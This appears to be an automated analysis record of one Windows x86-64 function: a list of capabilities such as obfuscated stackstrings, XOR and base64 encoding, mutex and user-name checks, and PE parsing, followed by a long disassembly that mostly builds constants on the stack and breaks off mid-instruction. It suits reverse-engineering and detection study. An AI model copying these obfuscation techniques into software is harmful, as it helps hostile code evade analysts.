Function at 0x1400169c0
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get session user name
Get system information on windows
Hash data using djb2
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x16698
call fcn.1400fe750
sub rsp, rax
movabs rax, 0x78cc6ec62d0980
mov qword [rsp + 0x2ab8], rax
mov byte [rsp + 0x60], 0x2e
mov eax, 0x55e
mov word [rsp + 0x35c], ax
mov eax, 0x42d
mov word [rsp + 0x360], ax
movabs rax, 0x723be5848b9070
mov qword [rsp + 0x2ac0], rax
mov eax, 0xefe
mov word [rsp + 0x364], ax
mov eax, 0x48e
mov word [rsp + 0x368], ax
mov eax, 0x3da
mov word [rsp + 0x36c], ax
mov eax, 0x286
mov word [rsp + 0x370], ax
movabs rax, 0x78f5c4144ad035
mov qword [rsp + 0x2ac8], rax
movabs rax, 0x71503bd6e88e3c
mov qword [rsp + 0x2ad0], rax
mov dword [rsp + 0x1afc], 0xa6c4
mov eax, 0xfce
mov word [rsp + 0x374], ax
mov byte [rsp + 0x61], 0x23
mov byte [rsp + 0x62], 0x55
mov byte [rsp + 0x63], 0x2e
mov dword [rsp + 0x1b00], 0x23eb
mov eax, 0x225
mov word [rsp + 0x378], ax
movabs rax, 0x7931a5da4f4a17
mov qword [rsp + 0x2ad8], rax
mov eax, 0x9e
mov word [rsp + 0x37c], ax
mov dword [rsp + 0x1b04], 0x5f6e8b47
movabs rax, 0x73ad2f959757d9
mov qword [rsp + 0x2ae0], rax
movabs rax, 0x759c599361e913
mov qword [rsp + 0x2ae8], rax
mov eax, 0x2e8
mov word [rsp + 0x380], ax
movabs rax, 0x7b9cd4b91c1572
mov qword [rsp + 0x2af0], rax
movabs rax, 0x728664f7919c19
mov qword [rsp + 0x2af8], rax
mov byte [rsp + 0x64], 0x34
movabs rax, 0x7ca8333e79e7aa
mov qword [rsp + 0x2b00], rax
mov eax, 0x796
mov word [rsp + 0x384], ax
mov eax, 0x761
mov word [rsp + 0x388], ax
movabs rax, 0x734cf6046ea9f4
mov qword [rsp + 0x2b08], rax
mov eax, 0x20c
mov word [rsp + 0x38c], ax
mov dword [rsp + 0x1b08], 0xeda5
mov eax, 0xd48
mov word [rsp + 0x390], ax
mov dword [rsp + 0x1b0c], 0xafd
movabs rax, 0x710ebb64d32c49
mov qword [rsp + 0x2b10], rax
movabs rax, 0x7cf3c4736b896d
mov qword [rsp + 0x2b18], rax
mov dword [rsp + 0x1b10], 0xac4c
movabs rax, 0x73e457f0cba474
mov qword [rsp + 0x2b20], rax
mov eax, 0x321
mov word [rsp + 0x394], ax
movabs rax, 0x7afbf937734fee
mov qword [rsp + 0x2b28], rax
mov eax, 0x510
mov word [rsp + 0x398], ax
movabs rax, 0x780d35d1df6496
mov qword [rsp + 0x2b30], rax
movabs rax, 0x7c4e80f708e5e3
mov qword [rsp + 0x2b38], rax
mov eax, 0x268
mov word [rsp + 0x39c], ax
mov eax, 0x494
mov word [rsp + 0x3a0], ax
mov eax, 0xe3
mov word [rsp + 0x3a4], ax
movabs rax, 0x7403a8218181d5
mov qword [rsp + 0x2b40], rax
mov byte [rsp + 0x65], 0x29
movabs rax, 0x79619552480d1e
mov qword [rsp + 0x2b48], rax
mov byte [rsp + 0x66], 0xd9
movabs rax, 0x7e3d26b9d072de
mov qword [rsp + 0x2b50], rax
mov byte [rsp + 0x67], 0x6e
mov eax, 0x138
mov word [rsp + 0x3a8], ax
movabs rax, 0x7e524eda26e197
mov qword [rsp + 0x2b58], rax
mov eax, 0x380
mov word [rsp + 0x3ac], ax
mov eax, 0x21d
mov word [rsp + 0x3b0], ax
movabs rax, 0x77b005fe763119
mov qword [rsp + 0x2b60], rax
movabs rax, 0x79d552d00fd93a
mov qword [rsp + 0x2b68], rax
mov dword [rsp + 0x1b14], 0xcc98
movabs rax, 0x749781f7daedb9
mov qword [rsp + 0x2b70], rax
movabs rax, 0x7dab593c983dc8
mov qword [rsp + 0x2b78], rax
mov eax, 0x9cd
mov word [rsp + 0x3b4], ax
movabs rax, 0x7852ae26508f65
mov qword [rsp + 0x2b80], rax
mov dword [rsp + 0x1b18], 0xefa8
mov dword [rsp + 0x1b1c], 0xd703
mov eax, 0x2ca
mov word [rsp + 0x3b8], ax
movabs rax, 0x723a4a2b5b6215
mov qword [rsp + 0x2b88], rax
movabs rax, 0x75c15da8d0ed2d
mov qword [rsp + 0x2b90], rax
mov byte [rsp + 0x68], 0x42
mov eax, 0x140
mov word [rsp + 0x3bc], ax
mov dword [rsp + 0x1b20], 0x6ca86a22
mov eax, 0x7e5
mov word [rsp + 0x3c0], ax
movabs rax, 0x7b70525177e43d
mov qword [rsp + 0x2b98], rax
movabs rax, 0x789c778489e507
mov qword [rsp + 0x2ba0], rax
mov byte [rsp + 0x69], 0x7b
movabs rax, 0x7b3d711bde4b7d
mov qword [rsp + 0x2ba8], rax
mov byte [rsp + 0x6a], 0x5a
movabs rax, 0x7aa7de11ef6e1d
mov qword [rsp + 0x2bb0], rax
movabs rax, 0x743b890362a399
mov qword [rsp + 0x2bb8], rax
mov eax, 0x259
mov word [rsp + 0x3c4], ax
mov eax, 0x330
mov word [rsp + 0x3c8], ax
mov byte [rsp + 0x6b], 0x5a
movabs rax, 0x733e73c713721c
mov qword [rsp + 0x2bc0], rax
movabs rax, 0x71a2e3fe6a3c23
mov qword [rsp + 0x2bc8], rax
mov dword [rsp + 0x1b24], 0x3d60
mov dword [rsp + 0x1b28], 0xf669
mov byte [rsp + 0x6c], 0x7d
mov dword [rsp + 0x1b2c], 0x4f469bb4
mov dword [rsp + 0x1b30], 0x2ff6
mov dword [rsp + 0x1b34], 0xa49a
mov eax, 0xadc
mov word [rsp + 0x3cc], ax
mov eax, 0x72
mov word [rsp + 0x3d0], ax
mov eax, 0x44b
mov word [rsp + 0x3d4], ax
mov eax, 0x6ac
mov word [rsp + 0x3d8], ax
movabs rax, 0x7b466fb4dc8be7
mov qword [rsp + 0x2bd0], rax
mov eax, 0xee2
mov word [rsp + 0x3dc], ax
mov eax, 0x4a5
mov word [rsp + 0x3e0], ax
movabs rax, 0x7e4f15bb6274a2
mov qword [rsp + 0x2bd8], rax
mov byte [rsp + 0x6d], 0x3b
movabs rax, 0x7ec76b8d05faed
mov qword [rsp + 0x2be0], rax
mov byte [rsp + 0x6e], 0xcc
movabs rax, 0x75e1c7850398bf
mov qword [rsp + 0x2be8], rax
mov byte [rsp + 0x6f], 0xfc
mov dword [rsp + 0x1b38], 0xb5c4
mov eax, 0x495
mov word [rsp + 0x3e4], ax
movabs rax, 0x7a7bdf373fbd12
mov qword [rsp + 0x2bf0], rax
mov eax, 0x7a9
mov word [rsp + 0x3e8], ax
mov eax, 0x2de
mov word [rsp + 0x3ec], ax
mov eax, 0xcf3
mov word [rsp + 0x3f0], ax
mov eax, 0x761
mov word [rsp + 0x3f4], ax
movabs rax, 0x78498e040ea575
mov qword [rsp + 0x2bf8], rax
mov eax, 0x512
mov word [rsp + 0x3f8], ax
mov byte [rsp + 0x70], 0xa8
mov eax, 0xed2
mov word [rsp + 0x3fc], ax
mov byte [rsp + 0x71], 0x68
movabs rax, 0x7b0219c31dc2d3
mov qword [rsp + 0x2c00], rax
mov dword [rsp + 0x1b3c], 0xc7cb
mov byte [rsp + 0x72], 0x3b
mov eax, 0x651
mov word [rsp + 0x400], ax
movabs rax, 0x7d2930113b19e9
mov qword [rsp + 0x2c08], rax
mov byte [rsp + 0x73], 0x94
mov byte [rsp + 0x74], 0x1b
mov byte [rsp + 0x75], 0x4e
mov byte [rsp + 0x76], 0x6a
movabs rax, 0x7d395be47952b6
mov qword [rsp + 0x2c10], rax
mov dword [rsp + 0x1b40], 0x501b
movabs rax, 0x75a7ad81e170c6
mov qword [rsp + 0x2c18], rax
movabs rax, 0x78e494198268d1
mov qword [rsp + 0x2c20], rax
mov dword [rsp + 0x1b44], 0xbb8b
movabs rax, 0x794ca459806923
mov qword [rsp + 0x2c28], rax
mov byte [rsp + 0x77], 0x20
mov byte [rsp + 0x78], 0x42
mov dword [rsp + 0x1b48], 0xde42
mov dword [rsp + 0x1b4c], 0x3148
mov eax, 0x123
mov word [rsp + 0x404], ax
movabs rax, 0x7802ad079008e1
mov qword [rsp + 0x2c30], rax
movabs rax, 0x7a61cf4f2b1f8a
mov qword [rsp + 0x2c38], rax
mov eax, 0x51b
mov word [rsp + 0x408], ax
mov byte [rsp + 0x79], 0xc
mov eax, 0x597
mov word [rsp + 0x40c], ax
mov eax, 0x7f8
mov word [rsp + 0x410], ax
mov eax, 0x627
mov word [rsp + 0x414], ax
mov byte [rsp + 0x7a], 0xa9
movabs rax, 0x700bcce0db55e0
mov qword [rsp + 0x2c40], rax
mov eax, 0x3ae
mov word [rsp + 0x418], ax
mov eax, 0x676
mov word [rsp + 0x41c], ax
mov dword [rsp + 0x1b50], 0xe9e7
movabs rax, 0x7daffe9598fb02
mov qword [rsp + 0x2c48], rax
mov dword [rsp + 0x1b54], 0x7d56
mov eax, 0x1a9
mov word [rsp + 0x420], ax
mov dword [rsp + 0x1b58], 0xe43b
mov eax, 0x7c7
mov word [rsp + 0x424], ax
mov eax, 0x77e
mov word [rsp + 0x428], ax
mov eax, 0x49f
mov word [rsp + 0x42c], ax
mov dword [rsp + 0x1b5c], 0x54b1
movabs rax, 0x716dee3e9d9afb
mov qword [rsp + 0x2c50], rax
mov eax, 0xf8
mov word [rsp + 0x430], ax
mov eax, 0xb2
mov word [rsp + 0x434], ax
mov eax, 0xd72
mov word [rsp + 0x438], ax
movabs rax, 0x77a83a349fe108
mov qword [rsp + 0x2c58], rax
mov eax, 0x1fe
mov word [rsp + 0x43c], ax
mov eax, 0x370
mov word [rsp + 0x440], ax
mov dword [rsp + 0x1b60], 0x35be
movabs rax, 0x7bad93feea0c10
mov qword [rsp + 0x2c60], rax
mov eax, 0x876
mov word [rsp + 0x444], ax
movabs rax, 0x77f194d54d19e8
mov qword [rsp + 0x2c68], rax
mov byte [rsp + 0x7b], 0x42
mov eax, 0x610
mov word [rsp + 0x448], ax
mov eax, 0x74e
mov word [rsp + 0x44c], ax
mov eax, 0x900
mov word [rsp + 0x450], ax
mov byte [rsp + 0x7c], 0x76
mov eax, 0x4ae
mov word [rsp + 0x454], ax
mov dword [rsp + 0x1b64], 0x77e4f502
movabs rax, 0x70275d80f1d5ac
mov qword [rsp + 0x2c70], rax
movabs rax, 0x7730bcfc6c480d
mov qword [rsp + 0x2c78], rax
movabs rax, 0x7ca3ec23eb1087
mov qword [rsp + 0x2c80], rax
mov dword [rsp + 0x1b68], 0xa070
mov dword [rsp + 0x1b6c], 0xc276
mov byte [rsp + 0x7d], 0x28
mov eax, 0x124
mov word [rsp + 0x458], ax
mov dword [rsp + 0x1b70], 0x3d582497
mov eax, 0xdee
mov word [rsp + 0x45c], ax
mov eax, 0x31a
mov word [rsp + 0x460], ax
movabs rax, 0x7b19b38465a888
mov qword [rsp + 0x2c88], rax
mov byte [rsp + 0x7e], 0x11
movabs rax, 0x72a33b88ea1597
mov qword [rsp + 0x2c90], rax
mov eax, 0x9ab
mov word [rsp + 0x464], ax
movabs rax, 0x78a4d282f27dde
mov qword [rsp + 0x2c98], rax
movabs rax, 0x77d71b207bdad2
mov qword [rsp + 0x2ca0], rax
mov dword [rsp + 0x1b74], 0xef3d
movabs rax, 0x79621858035f4b
mov qword [rsp + 0x2ca8], rax
mov eax, 0x534
mov word [rsp + 0x468], ax
mov eax, 0xc21
mov word [rsp + 0x46c], ax
mov dword [rsp + 0x1b78], 0x38f68379
mov eax, 0x30d
mov word [rsp + 0x470], ax
mov dword [rsp + 0x1b7c], 0x2e97
mov dword [rsp + 0x1b80], 0xaf6b
mov eax, pe_nt_image_headers64
mov word [rsp + 0x474], ax
mov eax, 0x8b9
mov word [rsp + 0x478], ax
mov eax, 0x281
mov word [rsp + 0x47c], ax
movabs rax, 0x7ed8d54ad72c2a
mov qword [rsp + 0x2cb0], rax
mov byte [rsp + 0x7f], 0x66
mov eax, 0x1f1
mov word [rsp + 0x480], ax
mov eax, 0x223
mov word [rsp + 0x484], ax
movabs rax, 0x7bca6e446b494c
mov qword [rsp + 0x2cb8], rax
mov dword [rsp + 0x1b84], 0xa239
mov eax, 0x271
mov word [rsp + 0x488], ax
mov eax, 0xfb4
mov word [rsp + 0x48c], ax
mov dword [rsp + 0x1b88], 0xe77d
movabs rax, 0x71db732e807393
mov qword [rsp + 0x2cc0], rax
movabs rax, 0x7c908b4ca89875
mov qword [rsp + 0x2cc8], rax
mov byte [rsp + 0x80], 0xbf
movabs rax, 0x730d52bb28747a
mov qword [rsp + 0x2cd0], rax
mov eax, 0x6e0
mov word [rsp + 0x490], ax
mov eax, 0x89
mov word [rsp + 0x494], ax
mov eax, 0x468
mov word [rsp + 0x498], ax
mov dword [rsp + 0x1b8c], 0x3b799d77
mov eax, 0x8e
mov word [rsp + 0x49c], ax
mov dword [rsp + 0x1b90], 0x4ed36fd1
mov byte [rsp + 0x81], 0xc8
mov byte [rsp + 0x82], 0x2c
mov byte [rsp + 0x83], 0x11
movabs rax, 0x70a188d0d0c7a8
mov qword [rsp + 0x2cd8], rax
mov eax, 0x12c
mov word [rsp + 0x4a0], ax
mov eax, 0x5c3
mov word [rsp + 0x4a4], ax
mov eax, 0x24b
mov word [rsp + 0x4a8], ax
mov eax, 0x598
mov word [rsp + 0x4ac], ax
mov eax, 0x1a5
mov word [rsp + 0x4b0], ax
mov eax, 0x694
mov word [rsp + 0x4b4], ax
mov byte [rsp + 0x84], 0x3b
movabs rax, 0x7c1a75f7ec50fc
mov qword [rsp + 0x2ce0], rax
mov byte [rsp + 0x85], 0x57
mov dword [rsp + 0x1b94], 0xa843
mov byte [rsp + 0x86], 0xbe
mov byte [rsp + 0x87], 0x5b
mov byte [rsp + 0x88], 0x60
mov byte [rsp + 0x89], 0x78
movabs rax, 0x72a35175366cba
mov qword [rsp + 0x2ce8], rax
mov dword [rsp + 0x1b98], 0x5b71
mov dword [rsp + 0x1b9c], 0x3f2825fe
mov byte [rsp + 0x8a], 0xda
mov eax, 0x5c0
mov word [rsp + 0x4b8], ax
mov eax, 0x544
mov word [rsp + 0x4bc], ax
movabs rax, 0x798e27cad26f96
mov qword [rsp + 0x2cf0], rax
movabs rax, 0x7338596d7da21c
mov qword [rsp + 0x2cf8], rax
mov eax, 0xaf9
mov word [rsp + 0x4c0], ax
movabs rax, 0x776aa20b5bf3ed
mov qword [rsp + 0x2d00], rax
mov eax, 0x19e
mov word [rsp + 0x4c4], ax
mov eax, 0x8e9
mov word [rsp + 0x4c8], ax
movabs rax, 0x7476fafa0eb011
mov qword [rsp + 0x2d08], rax
mov eax, 0xbcc
mov word [rsp + 0x4cc], ax
mov dword [rsp + 0x1ba0], 0xdb88
mov byte [rsp + 0x8b], 0x3f
movabs rax, 0x72cdfab2e66bf1
mov qword [rsp + 0x2d10], rax
mov dword [rsp + 0x1ba4], 0xf394
mov eax, 0x289
mov word [rsp + 0x4d0], ax
mov eax, 0x98a
mov word [rsp + 0x4d4], ax
mov eax, 0x23f
mov word [rsp + 0x4d8], ax
mov eax, 0x1c0
mov word [rsp + 0x4dc], ax
mov byte [rsp + 0x8c], 0xec
mov eax, 0x2d9
mov word [rsp + 0x4e0], ax
mov dword [rsp + 0x1ba8], 0x3ce2
mov eax, 0xaf6
mov word [rsp + 0x4e4], ax
mov byte [rsp + 0x8d], 0x50
mov dword [rsp + 0x1bac], 0xdaaa
mov byte [rsp + 0x8e], 0xce
mov eax, 0x2d8
mov word [rsp + 0x4e8], ax
mov eax, 0x8fa
mov word [rsp + 0x4ec], ax
mov eax, 0x202
mov word [rsp + 0x4f0], ax
mov dword [rsp + 0x1bb0], 0x3e0f02d6
movabs rax, 0x7cad9ce7c13557
mov qword [rsp + 0x2d18], rax
movabs rax, 0x77013bbccc5400
mov qword [rsp + 0x2d20], rax
mov eax, 0x78e
mov word [rsp + 0x4f4], ax
movabs rax, 0x781360021265f3
mov qword [rsp + 0x2d28], rax
mov eax, 0x21b
mov word [rsp + 0x4f8], ax
movabs rax, 0x778cd7190de720
mov qword [rsp + 0x2d30], rax
mov byte [rsp + 0x8f], 0x5a
mov byte [rsp + 0x90], 3
mov dword [rsp + 0x1bb4], 0x2351
mov eax, 0x9e8
mov word [rsp + 0x4fc], ax
mov dword [rsp + 0x1bb8], 0xd4e0
mov byte [rsp + 0x91], 0x7d
movabs rax, 0x72b01922ab5baf
mov qword [rsp + 0x2d38], rax
mov eax, 0x5c7
mov word [rsp + 0x500], ax
mov eax, 0xbd8
mov word [rsp + 0x504], ax
mov eax, 0x749
mov word [rsp + 0x508], ax
mov eax, 0x6fa
mov word [rsp + 0x50c], ax
mov eax, 0x136
mov word [rsp + 0x510], ax
movabs rax, 0x799d036c505777
mov qword [rsp + 0x2d40], rax
mov byte [rsp + 0x92], 0x54
movabs rax, 0x7371ba4ce22149
mov qword [rsp + 0x2d48], rax
movabs rax, 0x7ca762a4b764bc
mov qword [rsp + 0x2d50], rax
movabs rax, 0x7c86a1c0e8315d
mov qword [rsp + 0x2d58], rax
mov byte [rsp + 0x93], 0x51
mov byte [rsp + 0x94], 0x62
mov dword [rsp + 0x1bbc], 0xccaf
mov byte [rsp + 0x95], 0x67
mov dword [rsp + 0x1bc0], 0x34570ec2
mov dword [rsp + 0x1bc4], 0xdfeb
movabs rax, 0x728777195f26c2
mov qword [rsp + 0x2d60], rax
mov dword [rsp + 0x1bc8], 0xba8b
mov byte [rsp + 0x96], 0x2d
mov eax, 0x92d
mov word [rsp + 0x514], ax
mov dword [rsp + 0x1bcc], 0x157b
mov eax, 0x713
mov word [rsp + 0x518], ax
movabs rax, 0x794b46ac319d56
mov qword [rsp + 0x2d68], rax
mov eax, 0x27b
mov word [rsp + 0x51c], ax
mov dword [rsp + 0x1bd0], 0x5eb2fc23
mov eax, 0xd4f
mov word [rsp + 0x520], ax
mov eax, 0xa4b
mov word [rsp + 0x524], ax
mov byte [rsp + 0x97], 0x43
mov byte [rsp + 0x98], 0x68
mov eax, 0x210
mov word [rsp + 0x528], ax
mov byte [rsp + 0x99], 0x3a
mov byte [rsp + 0x9a], 0x1e
mov dword [rsp + 0x1bd4], 0x7429
mov dword [rsp + 0x1bd8], 0xdcba
movabs rax, 0x74fedaf7eb95ea
mov qword [rsp + 0x2d70], rax
mov eax, 0x46d
mov word [rsp + 0x52c], ax
mov byte [rsp + 0x9b], 0xce
movabs rax, 0x72ab3d4ccec43e
mov qword [rsp + 0x2d78], rax
mov byte [rsp + 0x9c], 0x1a
mov byte [rsp + 0x9d], 0xe9
mov byte [rsp + 0x9e], 0x62
mov eax, 0x805
mov word [rsp + 0x530], ax
mov byte [rsp + 0x9f], 0xdb
movabs rax, 0x7a106499c95a88
mov qword [rsp + 0x2d80], rax
mov byte [rsp + 0xa0], 0x25
mov eax, 0x66b
mov word [rsp + 0x534], ax
mov eax, 0x407
mov word [rsp + 0x538], ax
movabs rax, 0x7b24043085e970
mov qword [rsp + 0x2d88], rax
mov eax, 0x404
mov word [rsp + 0x53c], ax
mov eax, 0x7ca
mov word [rsp + 0x540], ax
mov eax, 0x8cf
mov word [rsp + 0x544], ax
mov eax, 0x507
mov word [rsp + 0x548], ax
movabs rax, 0x761e7393c33d29
mov qword [rsp + 0x2d90], rax
mov eax, 0xeae
mov word [rsp + 0x54c], ax
mov dword [rsp + 0x1bdc], 0xf685
movabs rax, 0x735cbf8741ba9b
mov qword [rsp + 0x2d98], rax
mov byte [rsp + 0xa1], 0x1e
movabs rax, 0x7452ec33640019
mov qword [rsp + 0x2da0], rax
mov eax, 0xb94
mov word [rsp + 0x550], ax
mov byte [rsp + 0xa2], 0
mov eax, 0x5b8
mov word [rsp + 0x554], ax
mov dword [rsp + 0x1be0], 0x6654
mov eax, 0x6e5
mov word [rsp + 0x558], ax
mov eax, 0x157
mov word [rsp + 0x55c], ax
mov dword [rsp + 0x1be4], 0xca2
mov eax, 0x4ca
mov word [rsp + 0x560], ax
mov eax, 0x442
mov word [rsp + 0x564], ax
mov eax, 0x873
mov word [rsp + 0x568], ax
mov dword [rsp + 0x1be8], 0x6228
movabs rax, 0x7dd9f3ce82f754
mov qword [rsp + 0x2da8], rax
mov eax, 0xccd
mov word [rsp + 0x56c], ax
mov eax, 0xdc5
mov word [rsp + 0x570], ax
mov dword [rsp + 0x1bec], 0xce4d
mov eax, 0x624
mov word [rsp + 0x574], ax
mov eax, 0xf9b
mov word [rsp + 0x578], ax
mov dword [rsp + 0x1bf0], 0x780d2c84
mov eax, 0x19
mov word [rsp + 0x57c], ax
mov eax, 0x35f
mov word [rsp + 0x580], ax
movabs rax, 0x70a3f87af96679
mov qword [rsp + 0x2db0], rax
mov eax, 0x1f0
mov word [rsp + 0x584], ax
movabs rax, 0x7c4bb4f937b974
mov qword [rsp + 0x2db8], rax
movabs rax, 0x74e22eebff9291
mov qword [rsp + 0x2dc0], rax
mov byte [rsp + 0xa3], 0x36
mov eax, 0x305
mov word [rsp + 0x588], ax
mov eax, 0x5a8
mov word [rsp + 0x58c], ax
mov dword [rsp + 0x1bf4], 0x437a
mov dword [rsp + 0x1bf8], 0x2e6d
mov eax, 0x7d7
mov word [rsp + 0x590], ax
mov byte [rsp + 0xa4], 0x2e
movabs rax, 0x77091145aca25c
mov qword [rsp + 0x2dc8], rax
movabs rax, 0x7638b6bb2a9f64
mov qword [rsp + 0x2dd0], rax
movabs rax, 0x71223e746107db
mov qword [rsp + 0x2dd8], rax
mov byte [rsp + 0xa5], 1
mov byte [rsp + 0xa6], 0x3b
mov byte [rsp + 0xa7], 0x5a
movabs rax, 0x70079b56ebd8e3
mov qword [rsp + 0x2de0], rax
mov dword [rsp + 0x1bfc], 0x2a0bf9d4
movabs rax, 0x7e3de92ea8b1af
mov qword [rsp + 0x2de8], rax
mov byte [rsp + 0xa8], 0xe0
mov eax, 0x4f7
mov word [rsp + 0x594], ax
movabs rax, 0x7ae48414a0e315
mov qword [rsp + 0x2df0], rax
mov byte [rsp + 0xa9], 8
mov eax, 0xc7c
mov word [rsp + 0x598], ax
mov byte [rsp + 0xaa], 0x52
mov eax, 0x6a9
mov word [rsp + 0x59c], ax
movabs rax, 0x723677f7016af2
mov qword [rsp + 0x2df8], rax
movabs rax, 0x76cdae7b602514
mov qword [rsp + 0x2e00], rax
mov eax, 0x269
mov word [rsp + 0x5a0], ax
mov dword [rsp + 0x1c00], 0x3299
mov byte [rsp + 0xab], 0x5f
movabs rax, 0x78e7cc2413067b
mov qword [rsp + 0x2e08], rax
mov eax, 0x263
mov word [rsp + 0x5a4], ax
mov eax, 0x187
mov word [rsp + 0x5a8], ax
mov eax, 0x39b
mov word [rsp + 0x5ac], ax
mov eax, 0x711
mov word [rsp + 0x5b0], ax
mov dword [rsp + 0x1c04], 0x3ac1
movabs rax, 0x73a8efb3efa6f9
mov qword [rsp + 0x2e10], rax
mov dword [rsp + 0x1c08], 0x5f3b
movabs rax, 0x779f5b2005a3cb
mov qword [rsp + 0x2e18], rax
mov eax, 0x664
mov word [rsp + 0x5b4], ax
movabs rax, 0x7e6e5abe6d0765
mov qword [rsp + 0x2e20], rax
movabs rax, 0x728b055103337a
mov qword [rsp + 0x2e28], rax
mov eax, 0x51c
mov word [rsp + 0x5b8], ax
movabs rax, 0x76a0b0e59c7c28
mov qword [rsp + 0x2e30], rax
mov eax, 0x109
mov word [rsp + 0x5bc], ax
mov dword [rsp + 0x1c0c], 0x654e
movabs rax, 0x70164ab936336d
mov qword [rsp + 0x2e38], rax
mov eax, 0x5e7
mov word [rsp + 0x5c0], ax
mov dword [rsp + 0x1c10], 0x6639e551
mov dword [rsp + 0x1c14], 0xa3d8afc
mov dword [rsp + 0x1c18], 0xa0ce
mov dword [rsp + 0x1c1c], 0x4d0e41f7
mov byte [rsp + 0xac], 0x62
movabs rax, 0x7e28874dd022b0
mov qword [rsp + 0x2e40], rax
mov eax, 0x163
mov word [rsp + 0x5c4], ax
movabs rax, 0x70dba8ed1101f2
mov qword [rsp + 0x2e48], rax
movabs rax, 0x7a5f81fc191ea2
mov qword [rsp + 0x2e50], rax
mov dword [rsp + 0x1c20], 0xd1f4
mov byte [rsp + 0xad], 0x33
mov eax, 0x484
mov word [rsp + 0x5c8], ax
mov eax, 0x448
mov word [rsp + 0x5cc], ax
mov eax, 0x272
mov word [rsp + 0x5d0], ax
mov eax, 0x72e
mov word [rsp + 0x5d4], ax
mov eax, 0x3c2
mov word [rsp + 0x5d8], ax
mov byte [rsp + 0xae], 0x3c
movabs rax, 0x77daf8849939aa
mov qword [rsp + 0x2e58], rax
movabs rax, 0x7851f9ec84be2d
mov qword [rsp + 0x2e60], rax
mov eax, 0x2f8
mov word [rsp + 0x5dc], ax
mov byte [rsp + 0xaf], 0x7a
mov dword [rsp + 0x1c24], 0x47f453a3
mov byte [rsp + 0xb0], 0xe
mov byte [rsp + 0xb1], 0x25
mov byte [rsp + 0xb2], 0xf7
mov eax, 0xe04
mov word [rsp + 0x5e0], ax
mov eax, 0x589
mov word [rsp + 0x5e4], ax
mov eax, 0x605
mov word [rsp + 0x5e8], ax
mov eax, 0x6fc
mov word [rsp + 0x5ec], ax
mov dword [rsp + 0x1c28], 0x8c9b
mov byte [rsp + 0xb3], 0xa8
movabs rax, 0x792ec651b830de
mov qword [rsp + 0x2e68], rax
mov eax, 0x5fd
mov word [rsp + 0x5f0], ax
mov eax, 0x57b
mov word [rsp + 0x5f4], ax
mov eax, 0xee3
mov word [rsp + 0x5f8], ax
movabs rax, 0x7bf2552dab97b8
mov qword [rsp + 0x2e70], rax
mov dword [rsp + 0x1c2c], 0x1a13b12d
movabs rax, 0x7cc18fe7e16b59
mov qword [rsp + 0x2e78], rax
mov eax, 0x3f9
mov word [rsp + 0x5fc], ax
mov eax, 0xc61
mov word [rsp + 0x600], ax
movabs rax, 0x71ac4f27666597
mov qword [rsp + 0x2e80], rax
mov dword [rsp + 0x1c30], 0x3d71
movabs rax, 0x76ae610c5572a6
mov qword [rsp + 0x2e88], rax
mov byte [rsp + 0xb4], 0x76
mov eax, 0x29d
mov word [rsp + 0x604], ax
mov byte [rsp + 0xb5], 0x29
mov byte [rsp + 0xb6], 5
mov eax, 0x4b3
mov word [rsp + 0x608], ax
movabs rax, 0x7ec8c9d57772c5
mov qword [rsp + 0x2e90], rax
movabs rax, 0x708335af7ad26c
mov qword [rsp + 0x2e98], rax
movabs rax, 0x7b94b96b24aaef
mov qword [rsp + 0x2ea0], rax
movabs rax, 0x71fda9a4928cf5
mov qword [rsp + 0x2ea8], rax
mov eax, 0x54d
mov word [rsp + 0x60c], ax
movabs rax, 0x7ddd6e33eb309e
mov qword [rsp + 0x2eb0], rax
mov byte [rsp + 0xb7], 0x79
mov eax, 0x1f1
mov word [rsp + 0x610], ax
mov eax, 0xadc
mov word [rsp + 0x614], ax
movabs rax, 0x7a342b78c44111
mov qword [rsp + 0x2eb8], rax
mov eax, 0xbbe
mov word [rsp + 0x618], ax
mov eax, 0xe7c
mov word [rsp + 0x61c], ax
movabs rax, 0x719b82b53adac7
mov qword [rsp + 0x2ec0], rax
movabs rax, 0x749d025f2d3e46
mov qword [rsp + 0x2ec8], rax
mov eax, 0xe96
mov word [rsp + 0x620], ax
mov eax, 0x31e
mov word [rsp + 0x624], ax
mov eax, 0x588
mov word [rsp + 0x628], ax
movabs rax, 0x79ba39fefd361a
mov qword [rsp + 0x2ed0], rax
mov byte [rsp + 0xb8], 0x22
mov eax, 0x36
mov word [rsp + 0x62c], ax
movabs rax, 0x7733d912e60809
mov qword [rsp + 0x2ed8], rax
mov eax, 0x4b4
mov word [rsp + 0x630], ax
mov dword [rsp + 0x1c34], 0x4a0e
mov eax, 0xd38
mov word [rsp + 0x634], ax
mov byte [rsp + 0xb9], 0x16
movabs rax, 0x7dbe18c985cc1a
mov qword [rsp + 0x2ee0], rax
mov dword [rsp + 0x1c38], 0x3cf587b0
movabs rax, 0x71da9d125a7552
mov qword [rsp + 0x2ee8], rax
movabs rax, 0x714debc947e3e1
mov qword [rsp + 0x2ef0], rax
movabs rax, 0x7e940a6a3b0ea6
mov qword [rsp + 0x2ef8], rax
movabs rax, 0x72a10fbcb34b90
mov qword [rsp + 0x2f00], rax
movabs rax, 0x76481dac198692
mov qword [rsp + 0x2f08], rax
mov eax, 0x347
mov word [rsp + 0x638], ax
mov eax, 0x519
mov word [rsp + 0x63c], ax
mov eax, 0xfe6
mov word [rsp + 0x640], ax
movabs rax, 0x70b72123c92524
mov qword [rsp + 0x2f10], rax
mov dword [rsp + 0x1c3c], 0xa459
movabs rax, 0x78623ac1ca0ae3
mov qword [rsp + 0x2f18], rax
mov dword [rsp + 0x1c40], 0x1bc8f1ed
mov byte [rsp + 0xba], 0x59
movabs rax, 0x752b44b0aaf1e5
mov qword [rsp + 0x2f20], rax
mov byte [rsp + 0xbb], 0x60
movabs rax, 0x76839475010bf4
mov qword [rsp + 0x2f28], rax
mov eax, 4
mov word [rsp + 0x644], ax
mov byte [rsp + 0xbc], 0x5e
movabs rax, 0x74a5d3a5b7b305
mov qword [rsp + 0x2f30], rax
movabs rax, 0x7817235b45049e
mov qword [rsp + 0x2f38], rax
mov eax, 0x985
mov word [rsp + 0x648], ax
movabs rax, 0x7563d9968da1e1
mov qword [rsp + 0x2f40], rax
mov dword [rsp + 0x1c44], 0x2cf0bd4d
movabs rax, 0x785a16cc7a8290
mov qword [rsp + 0x2f48], rax
mov byte [rsp + 0xbd], 0x17
mov eax, 0xb5
